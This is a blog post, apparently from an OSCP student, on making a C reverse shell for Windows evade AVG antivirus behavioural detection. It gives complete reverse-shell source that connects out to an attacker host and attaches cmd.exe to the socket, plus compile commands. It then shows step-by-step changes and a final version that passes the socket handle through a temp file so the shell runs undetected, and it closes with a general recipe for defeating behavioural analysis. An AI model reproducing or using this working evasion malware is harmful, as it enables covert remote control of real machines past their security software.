Case Study in Evading AVG Antivirus
While working in the OSCP labs, I had lots of fun installing backdoor processes on various systems. Antivirus software is, for the most part, not installed on these systems with the exception of a few. Of those systems, the AV software tends to be pretty weak/old. The OSCP training material did briefly cover some antivirus evasion techniques which, while working in the lab environment, I found to be of little use in real world situations on Windows machines with modern antivirus software. Here is a brief summary of problems I found:
- Encoders that were previously used to encode shellcode, such as shikata_ga_nai are fairly useless these days for modern antivirus programs. Even with multiple iterations of encoding and chaining several encoders together, lots of modern antivirus software can still figure out the encoded payload is malware.
- Crypters like Hyperion are a great idea in theory and probably once worked well, but nowadays it seems that an AV program will flag any executables that are encrypted with Hyperion as some sort of "crypter" malware
- Packers like upx are also nice, but I experienced some of the same problems as I did with Hyperion. Basically, the antivirus programs won't be able to analyze the contents of the executable but they are aware that a packer/crypter is in use and therefore flag the executable as malicious
Of course I've heard of the Veil antivirus evasion framework, but this wasn't really covered in the OSCP program. I've heard it's an awesome framework and I really need to make the time to learn it. In the meantime, one of the big takeaways in the OSCP training program with regard to AV evasion was that the best thing you can do is write your own malware executables. If it hasn't been seen in the wild, then AV isn't going to flag it, right? So I used an example given by Offensive Security and put this theory to the test. In short, the current answer to the previous question is... no, not exactly. I quickly found out that detection based on static analysis techniques might be avoided this way, but some software has some pretty impressive behavioural analysis. This post is about how I addressed these issues and successfully transformed a piece of generic malware that would get flagged by AV based on behavioural analysis into something that wouldn't be detected.
Development Environment Setup
To perform this testing, I used the following:
- A current copy of Windows 10 (Creator's Edition) running in a VirtualBox VM
- AVG Antivirus Free release 17.5.3022 (updated Aug 19, 2017) with virus definitions version 170819-0
- A Kali Linux instance running in a different VirtualBox VM
- The ming compiler running on Kali
To install the ming compiler on Kali, all that is needed is to:
apt-get -y install mingw-w64
The Problem
Ok, first it is useful to understand the problem. We begin with the following source code, which was apparently written in 2012:
/* Windows Reverse Shell Tested under windows 7 with AVG Free Edition. Author: blkhtc0rp Compile: wine gcc.exe windows.c -o windows.exe -lws2_32 Written 2010 - Modified 2012 This program is open source you can copy and modify, but please keep author credits! http://code.google.com/p/blkht-progs/ https://snipt.net/blkhtc0rp/ */ #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; int main(int argc, char *argv[]) { WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); } struct hostent *host; host = gethostbyname(argv[1]); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(argv[2])); hax.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo,0,sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info); }
The above reverse shell program can be compiled on the Kali system with the following:
i686-w64-mingw32-gcc windows.c -lws2_32 -o windows.exe
i686-w64-mingw32-strip windows.exe
Ok, once this compiles successfully, let's give it a try on the Windows system. Here, I have a read only SMB share on the Kali box (so the AV doesn't delete my executable). While running it, I get the following:
Oh no! What happened? Is this because this program is known malware and it got flagged? Is it because of this line of code:
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
I initially thought that since we were calling CreateProcess with cmd.exe, it was being flagged. That turned out to not be the case! After a considerable amount of troubleshooting, I discovered that the AVG engine seemed to be analyzing the execution flow of the program for specific behaviours and connecting a series of events which, when combined together seemed to indicate malicious activity. To understand this, let's examine what is going on in this program:
- First, we make an outbound connection to a specific TCP port on the attack host
- We initialize a process initialization structure and tell it to use a specific set of file descriptor handles for stdin, stdout, and stderr. This is accomplished by setting the dwFlags struct member to STARTF_USESTDHANDLES
- Next we assign the previously assigned socket handle (for the connected TCP socket) to the initialization struct's hStdInput, hStdOutput, and hStdError members. This causes the input/output of the created process to be redirected to the TCP socket, which is essentially how we create a reverse TCP shell.
- Finally, we call CreateProcess with cmd.exe
It is this specific sequence of events that causes the AVG engine to say "Aha, suspicious! Must be malware!" This is perfectly reasonable and makes sense when you think about it. There are probably some legitimate use cases for this type of behaviour, but I'm willing to bet that most of them are for nefarious purposes. So how do we get around this problem? Well, we have to break the chain of events, but it still has to work.
After some trial and error, I was able to figure this out. First, I found out that AVG somehow is clever enough to follow the value returned by WSASocket, see that it was connected using WSAConnect and then passed to the STARTUPINFO struct. Let's analyze this by making a simple code change:
#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; int main(int argc, char *argv[]) { WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); printf("Socket value=%ld\n", (unsigned long)Winsock); if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); } struct hostent *host; host = gethostbyname(argv[1]); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(argv[2])); hax.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo,0,sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; //CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info); }
What we are doing here is seeing the value (as an unsigned long) that WSASocket is returning. This is the value eventually passed to the initialization struct. Additionally, it is necessary to comment out the CreateProcess line so that AVG won't kill the process just yet. Now when I ran the program on the Windows VM repeatedly, this is the result I got:
Notice that every time I run this, WSASocket returns a value of 224. This is not to say that the value 224 will always be returned on your system or anyone else's but in my case, it seems fairly consistent. As an experiment, I am now going to feed the static value of 224 to the initialization structure, betting that it will continue to be the value of the handle assigned by the call to WSASocket. If the program now runs without being flagged by AVG, I have now been able to prove that AVG is watching for the specific chain of events mentioned above. So I change the code to look like this:
#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; int main(int argc, char *argv[]) { WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); printf("Socket value=%ld\n", (unsigned long)Winsock); if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); } struct hostent *host; host = gethostbyname(argv[1]); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(argv[2])); hax.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo,0,sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; //ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)224; CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info); }
Now when I compile and run the above executable, it does not get flagged by AVG at all. In fact, my netcat listener on the attack system does in fact receive the connection, proving that the reverse shell is now working!
The Solution
We have a working shell as you can see in the previous section but unfortunately this is not the solution to the original problem. We simply can't hard code the static value of 224 into the initialization struct because this can vary from system to system. It only serves to illustrate that it breaks the chain of what the AVG engine is looking at. This is because we are not assigning the socket handle to a variable and then passing that variable to the initialization structure.
At first glance it might appear easy to address this issue. I thought so as well. I began to come up with lots of creative ways of providing some sort of disconnect between the original assignment of the value and what was ultimately passed to the initialization structure. This was a frustrating endeavor, but I walked away with a new appreciation for the sophistication of the AVG engine. I won't go through code-level examples of every scenario, otherwise this would be an incredibly long blog post, but I can summarize some of the things I tried here:
Assigning the handle to a variable, then copying to another variable and then passing to the initialization struct. | FAIL! |
Performing lots of random, crazy math and bitwise operations to the handle, assigning it to another variable and then performing inverse functions of the bitwise operations (e.g. xor and bit rotate), plus math that was designed to ultimately negate all operations done to the original value. | FAIL! |
Passing the value to functions that call other functions and do some of the above mentioned obfuscation/decoding. | FAIL! |
Using sprintf to write the string representation of the unsigned long value to a string buffer and then using sscanf or strtol to convert it back. | FAIL! |
Writing the string value of the handle to a file, closing the file, reopening the file and reading it back. | FAIL! |
Now what I've listed above is merely a summary of what was done. I'm sure I forgot about a few things along the way. It was frustrating, I don't know exactly how they make all these connections between the input and output values but they did. It was a long night, but I was also in the process of working on my OSCP. That means I wasn't going to get beaten by this thing, no matter how many times I failed, I was going to TRY HARDER!
My perseverence finally paid off. After the final thing I remember trying (writing value to file and reading back), I thought about it a different way. What if, instead of writing it to a file, I made a system call and echoed the value into a file? Maybe the AVG engine wouldn't pick up on that since program execution would be transferred to the shell process that was being spawned. So now I modified the code to look like this:
#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; int main(int argc, char *argv[]) { FILE *file; char buf[100]; unsigned int handle; WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); } struct hostent *host; host = gethostbyname(argv[1]); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(argv[2])); hax.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL); // execute shell command that will place value in temp file snprintf(buf, 100, "echo %d > c:\\windows\\temp\\tempval.tmp", (unsigned int)Winsock); system(buf); // now read it back file=fopen("c:\\windows\\temp\\tempval.tmp","r"); if (file) { fscanf(file, "%d", &handle); fclose(file); } else { printf("Failed to open temp file: %s\n", strerror(errno)); exit(1); } // delete temp file unlink("c:\\windows\\temp\\tempval.tmp"); memset(&ini_processo,0,sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)handle; CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info); }
After compiling and running this version of the executable, it finally worked without triggering the AVG!
Conclusion
Any decent antivirus engine that uses behavioural analysis can introduce challenges when it comes to writing custom malware. However, keep in mind that even the best of such software can be defeated if you are creative enough. I found that, at least in this case, it was very useful to start with a simple and small code sample. Then begin eliminating things one at a time until the antivirus software no longer flags the binary as malware. Once this is done, try to identify a chain of events that it might be tracking and experiment with ways to trick the software into not recognizing one of the actions that is part of the suspicious chain of events it is looking for. This may require some analysis, trial and error and certainly a lot of creativity, but it can be done!